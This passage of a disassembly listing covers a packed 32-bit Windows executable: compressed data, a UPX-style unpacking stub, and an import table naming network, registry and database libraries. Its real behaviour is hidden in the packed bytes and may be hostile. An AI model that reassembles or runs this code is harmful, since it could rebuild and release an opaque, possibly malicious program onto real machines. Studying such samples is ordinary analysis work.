0FDFEE79Eh, 47C9FBFCh, 1D95F63Bh, 0BCB075E1h dd 11B3B88Bh, 0E92431D2h, 7A040B3h, 0EC14C142h, 101A778Dh dd 98DA11ADh, 0C36C907Eh, 53422816h, 5BDC20FFh, 2010BD98h dd 92227DDCh, 0F9A45909h, 837ADA71h, 0E0F461C2h, 108BCA6Ch dd 789417C6h, 0D9DC45FFh, 1996C315h, 798C051Fh, 8145E12Ah dd 540A09C4h, 8AA9AD9h, 0E9E659C4h, 6DEA6FFCh, 5DB7D23h dd 9140C62Bh, 0DC0C4DDAh, 0DC0474E2h, 4FC0500Dh, 0E8AF02Bh dd 130CB881h, 0E8E9FF10h, 12C61519h, 8A0CE44Ch, 0DFF8206h dd 18A6C7Dh, 2A3C3003h, 0EB414C75h, 0FB118AEDh, 2997FFFFh dd 74C23A43h, 7C413C1Bh, 7E5A3C04h, 7C613C08h, 7F7A3C0Ah dd 15203406h, 8406DBE8h, 417E3F30h, 31C4EB46h, 0B7EF41BAh dd 2A39801Eh, 550179E6h, 80B1EB5Bh, 38E75089h, 0EC1FFB06h dd 1A8EF133h, 0FFCC163Bh, 55B0425h, 64646464h, 34383C40h dd 646466B1h, 0CC282C30h, 92F82500h, 240B6Ch, 7DFBC851h dd 0B7245CEFh, 0E9811472h, 85042D0Bh, 0B161701h, 0EC731FDBh dd 0C48BC82Bh, 83F8B0Ch, 5F23638Dh, 2075688Bh, 2318051Ch dd 14232323h, 46000810h, 0FC239E46h, 0F0F4F810h, 4646473Eh dd 110CE8ECh, 191910E0h, 0D8DC7919h, 191DD0D4h, 0C8CC1919h dd 8610C0C4h, 0C3875D85h, 0B140653h, 0B87A186Ah, 10BA0F17h dd 47AD0C0Bh, 2B6E905h, 73EBB91Dh, 54195CC0h, 5FFF8D06h dd 0D1E9D115h, 0D1EAD1DBh, 0ACC90BD8h, 6DDFBBE9h, 64F71BB7h dd 1004913Dh, 0E72D103h, 877243Bh, 73BB76DDh, 8762807h dd 1B10052Bh, 8071411h, 3752FE12h, 76DAF70Ch, 5B00DA83h dd 343E10C2h, 7FDD7483h, 14188056h, 0EEEC6610h, 78AD88Dh dd 8041EBD3h, 0C8666D14h, 0F0809E62h, 69BDC839h, 0F7C4FB06h dd 71083E6h, 4E01760Ch, 0A39ED91Fh, 0F372704Ch, 535657E4h dd 0EF6B4133h, 147DFF93h, 99955547h, 0A35D6761h, 89132340h dd 0EF1B1C64h, 18C97330h, 3F18A61Ch, 64C83636h, 19D810A6h dd 6919C454h, 0EBD17EC6h, 0DBA6D9D1h, 41901CF1h, 14181926h dd 5087B110h, 22534F62h, 64B15F5Eh, 58846C64h, 5C0554DBh dd 64630950h, 0C0484C64h, 8041038Dh, 9E00006Ch, 0B2BC95E4h dd 0A8F24FA7h, 0B900A52Ch, 0E2A90192h, 7257AC2Bh, 0A9EAA9C4h dd 4264C9C4h, 4C99CF04h, 0C9939326h, 99323264h, 9326264Ch dd 326464C9h, 264C4C99h, 64C9C993h, 4C999932h, 0C9939326h dd 99323264h, 9326264Ch, 326464C9h, 264C4C99h, 64C9C993h dd 4CE79932h, 70609326h, 0A0E639CEh, 4A1040ACh, 0A78223D8h dd 0CD52504Dh, 4FD9B000h, 52435054h, 0C63454h, 0AB2000h dd 55D40675h, 7F01A8E0h, 3B44B000h, 72501E54h, 6FFDB869h dd 74026FB7h, 6C471279h, 6C61626Fh, 0F6D654Dh, 0CDF65379h dd 13992A3Dh, 72655626h, 0ED052273h, 456EF976h, 75514178h dd 350790Ch, 17F80036h, 65636E04h, 5D74AC43h, 0ED65754h dd 65834618h, 6D8F6D54h, 45697908h, 4D177272h, 6B1A80FAh dd 5653501Bh, 4175BB44h, 6C561AA8h, 2D6C7210h, 583CCDF6h dd 74616309h, 4679705Ah, 0B6EB1569h, 3341D8DBh, 50703054h dd 570D6817h, 62C6DDADh, 181965AFh, 69347422h, 35ECAD62h dd 6E411F41h, 0FB5A0A13h, 9470BBB6h, 766E4564h, 2A39C873h dd 0DE6D8E68h, 0CDDCF982h, 3431AF0h, 14764524h, 0BDCE615Bh dd 93466DB9h, 4F421C53h, 51A16A62h, 6ECFB17Bh, 8570650Ah dd 0F26B6369h, 0C5982952h, 0AD5060A8h, 0B6B6E60Ch, 4C0B4D4Dh dd 0A3434C05h, 0AAA45A2Bh, 2534C85h, 0AD730E15h, 5417BFD0h dd 6E452669h, 371D94EEh, 106E4926h, 0C17A690Fh, 41C8EDDAh dd 7053BE41h, 6E887C40h, 6544DB65h, 0A1647492h, 0C3ED784Dh dd 4E004503h, 0B0DFE861h, 0D45C1548h, 0EC7E6573h, 0DEF866B1h dd 0D369EB1Dh, 1C34363Ah, 614CE136h, 4D23A473h, 0C0447839h dd 0B41E26CBh, 5371ED00h, 52F183D5h, 4BF96765h, 0C0437965h dd 0E16EF66h, 0F7871028h, 565A3592h, 8820039Bh, 0D5460D1Fh dd 115BD30h, 0F82AB1D9h, 2C435348h, 650F4172h, 1CB364B3h dd 0ECC60EBFh, 68DB61DBh, 43146708h, 676966F9h, 9823AB32h dd 813A965Bh, 0D618CD0Ch, 69860DD1h, 1E3A727Bh, 75E66F55h dd 736A7753h, 19C06DB7h, 36702A44h, 0F91C6863h, 669C66EBh dd 79FC0FAh, 6DD63872h, 66069B8Fh, 5F078D77h, 1386E17h dd 0A48D6798h, 1A726821h, 3E0D66C1h, 0EE170F66h, 15D1B2B6h dd 4F73339Ch, 0FF69656Bh, 0CF19EF6h, 0E763660Eh, 333F3F07h dd 58415940h, 0B76B368Eh, 5A400250h, 0AC86630Dh, 0B82E958Bh dd 6DD04974h, 2B071463h, 5EE66E7Ah, 628C7383h, 0CDB25218h dd 63B7D50h, 0CE573176h, 316E0AD0h, 6CEA5F89h, 67B5D0ADh dd 8B665F08h, 86E45F7Dh, 0F09D82EBh, 685F7470h, 9DA53305h dd 0B37BB65Fh, 9693B5Bh, 6B696F60h, 0DCD0863h, 2002DCFBh dd 0BAC3656Eh, 0C16D44D6h, 48B30500h, 55021850h, 4BCB2CB0h dd 801F0B29h, 7178A3AEh, 1036456h, 1E3D306h, 375F6C96h dd 4360A4EFh, 10651168h, 6D9A7AEDh, 1B390CD8h, 36F44974h dd 6E2F7B56h, 3144681Ah, 0AD764161h, 0ABAD8FAAh, 480F6249h dd 0DAF6D98Ch, 52C1B80Ah, 11419C73h, 8F65B0E0h, 433F1147h dd 0F606F6h, 0E271197h, 364E3ECh, 64652347h, 0E13B6537h dd 4B0525B2h, 9FBF5214h, 5193B66Bh, 39827A7h, 0B2CB74F7h dd 96F2C2Ch, 9041310h, 2CCB7E5Bh, 53574417h, 656F5341h dd 0CB2CB280h, 297FFB6h, 0C0E0812h, 0CB2CB2CBh, 1114010Ah dd 0CB2C0533h, 20D2CB2h, 5F731615h, 34B2C09Eh, 4550D939h dd 1014Ch, 0F2197E85h, 4331C995h, 10B010Fh, 5527F506h dd 6F9A92F0h, 9B0AA91h, 0D7D9C01h, 6D020B40h, 2CDECB73h dd 1E0C1F07h, 37A3234h, 607103Bh, 0C8406E5Ch, 0A0A130F2h dd 575D7664h, 1E020CD8h, 774942Eh, 150999F6h, 0EB90C17Ch dd 15A08504h, 9CE01D87h, 39C6h, 0 db 90h align 2 dw 0FFh db 3 dup(0) ; --------------------------------------------------------------------------- public start start: nop loc_40C620: ; CODE XREF: text:0040C634j ; text:0040C636j popa mov esi, offset byte_408000 lea edi, [esi-7000h] push edi or ebp, 0FFFFFFFFh jmp short loc_40C642 ; --------------------------------------------------------------------------- jmp short $+2 jmp short loc_40C620 ; --------------------------------------------------------------------------- jmp short loc_40C620 ; --------------------------------------------------------------------------- loc_40C638: ; CODE XREF: text:loc_40C649j mov al, [esi] inc esi mov [edi], al inc edi loc_40C63E: ; CODE XREF: text:0040C6D6j ; text:0040C6EDj add ebx, ebx jnz short loc_40C649 loc_40C642: ; CODE XREF: text:0040C630j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40C649: ; CODE XREF: text:0040C640j jb short loc_40C638 mov eax, 1 loc_40C650: ; CODE XREF: text:0040C65Fj ; text:0040C66Aj add ebx, ebx jnz short loc_40C65B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40C65B: ; CODE XREF: text:0040C652j adc eax, eax add ebx, ebx jnb short loc_40C650 jnz short loc_40C66C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_40C650 loc_40C66C: ; CODE XREF: text:0040C661j xor ecx, ecx sub eax, 3 jb short loc_40C680 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_40C6F2 mov ebp, eax loc_40C680: ; CODE XREF: text:0040C671j add ebx, ebx jnz short loc_40C68B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40C68B: ; CODE XREF: text:0040C682j adc ecx, ecx add ebx, ebx jnz short loc_40C698 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40C698: ; CODE XREF: text:0040C68Fj adc ecx, ecx jnz short loc_40C6BC inc ecx loc_40C69D: ; CODE XREF: text:0040C6ACj ; text:0040C6B7j add ebx, ebx jnz short loc_40C6A8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40C6A8: ; CODE XREF: text:0040C69Fj adc ecx, ecx add ebx, ebx jnb short loc_40C69D jnz short loc_40C6B9 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_40C69D loc_40C6B9: ; CODE XREF: text:0040C6AEj add ecx, 2 loc_40C6BC: ; CODE XREF: text:0040C69Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_40C6DC loc_40C6CD: ; CODE XREF: text:0040C6D4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_40C6CD jmp loc_40C63E ; --------------------------------------------------------------------------- align 4 loc_40C6DC: ; CODE XREF: text:0040C6CBj ; text:0040C6E9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_40C6DC add edi, ecx jmp loc_40C63E ; --------------------------------------------------------------------------- loc_40C6F2: ; CODE XREF: text:0040C67Cj pop esi mov edi, esi mov ecx, 2BCh loc_40C6FA: ; CODE XREF: text:0040C701j ; text:0040C706j mov al, [edi] inc edi sub al, 0E8h loc_40C6FF: ; CODE XREF: text:0040C724j cmp al, 1 ja short loc_40C6FA cmp byte ptr [edi], 4 jnz short loc_40C6FA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_40C6FF lea edi, [esi+0A000h] loc_40C72C: ; CODE XREF: text:0040C74Ej mov eax, [edi] or eax, eax jz short loc_40C777 mov ebx, [edi+4] lea eax, [eax+esi+0C000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+0C0A0h] xchg eax, ebp loc_40C749: ; CODE XREF: text:0040C76Fj mov al, [edi] inc edi or al, al jz short loc_40C72C mov ecx, edi jns short near ptr loc_40C75A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_40C75A: ; CODE XREF: text:0040C752j mov ecx, 0AEF24857h push ebp call dword ptr [esi+0C0A4h] or eax, eax jz short loc_40C771 mov [ebx], eax add ebx, 4 jmp short loc_40C749 ; --------------------------------------------------------------------------- loc_40C771: ; CODE XREF: text:0040C768j call dword ptr [esi+0C0A8h] loc_40C777: ; CODE XREF: text:0040C730j pusha jmp loc_40916F ; --------------------------------------------------------------------------- align 1000h text ends ; Section 3. (virtual address 0000D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write rsrc segment para public 'DATA' use32 assume cs:rsrc ;org 40D000h dd 3 dup(0) dd 0D0E0h, 0D0A0h, 3 dup(0) dd 0D0EDh, 0D0B0h, 3 dup(0) dd 0D0FAh, 0D0B8h, 3 dup(0) dd 0D105h, 0D0C0h, 3 dup(0) dd 0D110h, 0D0C8h, 3 dup(0) dd 0D11Bh, 0D0D0h, 3 dup(0) dd 0D127h, 0D0D8h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C50290h, 0 aAs2t db 's2t',0 align 4 dd 7E42E002h, 0 aBB db 'B',0 align 4 aPlq db 'Pq',0 align 10h aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aOdbc32_dll db 'ODBC32.dll',0 aUser32_dll db 'USER32.dll',0 aWininet_dll db 'WININET.dll',0 aWs2_32_dll db 'WS2_32.dll',0 align 4 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aExitprocess db 'ExitProcess',0 align 10h aRegclosekey db 'RegCloseKey',0 dd 65630000h, 6C69h, 4D746547h, 61737365h, 416567h, 6E490000h dd 6E726574h, 704F7465h, 416E65h, 39Ch dup(0) rsrc ends ; Section 4. (virtual address 0000E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 40E000h dd 80h dup(0) align 1000h _idata2 ends end start